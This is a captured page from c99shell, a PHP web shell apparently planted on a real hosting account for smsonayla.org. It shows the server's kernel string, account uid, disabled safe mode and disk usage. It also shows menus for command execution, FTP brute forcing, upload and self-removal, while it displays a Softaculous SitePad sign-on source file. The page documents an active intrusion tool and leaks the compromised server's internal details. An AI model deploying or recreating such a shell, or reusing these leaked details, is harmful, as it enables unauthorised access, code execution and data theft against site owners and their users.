smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/var/softaculous/sp/   drwxr-xr-x
Free 422.46 GB of 543.66 GB (77.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sign_on_func.php (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

// Allows the user to login straight to SitePas
function __sp_sign_on(){

global 
$__settings$error$software$globals$notes$softpanel;

    
// Lets fill in the necessary stuff
    
$abc['username'] = $softpanel->user['name'];
    
$abc['email'] = $__settings['email'];

    
// BRANDING OPTIONS
    
if(!empty($globals['sm_brand'])){
        
$abc['sm_brand'] = $globals['sm_brand'];
    }
    
    if(!empty(
$globals['sm_brand_url'])){
        
$abc['sm_brand_url'] = $globals['sm_brand_url'];
    }
    
    if(!empty(
$globals['sm_brand_editor'])){
        
$abc['sm_brand_editor'] = $globals['sm_brand_editor'];
    }
    
    if(!empty(
$globals['sm_logo_url'])){
        
$abc['sm_brand_logo'] = $globals['sm_logo_url'];
    }
    
    if(!empty(
$globals['sm_sitename'])){
        
$abc['sm_brand_app'] = $globals['sm_sitename'];
    }
    
    if(!empty(
$globals['sm_brand_demos'])){
        
        
// We need the http:// prefix
        
$abc['sm_brand_demos'] = substr($globals['sm_brand_demos'], 04) != 'http' 'http://'.$globals['sm_brand_demos'] : $globals['sm_brand_demos'];
        
        
// Add a trailing slash
        
$abc['sm_brand_demos'] = substr($abc['sm_brand_demos'], -1) != '/' $abc['sm_brand_demos'].'/' $abc['sm_brand_demos'];
    }
    
    
// Lets update the database with our vars
    
sdb_query("INSERT INTO `".$__settings['dbprefix']."options` 
                SET option_name = 'sitepad_vars',
                option_value = '"
.addslashes(serialize($abc))."'
                    ON DUPLICATE KEY 
                    UPDATE option_value = '"
.addslashes(serialize($abc))."';",
                
$__settings['softdbhost'], $__settings['softdbuser'], $__settings['softdbpass'], $__settings['softdb']);
    
    
// Also add the login details
    
$tmp['sp-login'] = generateRandStr(32);
    
$tmp['time'] = time();
    
    
$q "INSERT INTO `".$__settings['dbprefix']."options` 
                SET option_name = 'sp-login',
                option_value = '"
.addslashes(serialize($tmp))."'
                    ON DUPLICATE KEY 
                    UPDATE option_value = '"
.addslashes(serialize($tmp))."';";
    
sdb_query($q$__settings['softdbhost'], $__settings['softdbuser'], $__settings['softdbpass'], $__settings['softdb']);
    
    
//r_print($error);r_print($q);r_print($__settings);r_print($tmp);die();
    
    // Redirect the user
    
redirect($__settings['softurl'].'/?sp-login='.md5($tmp['sp-login']), truetrue);
    die();
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0045 ]--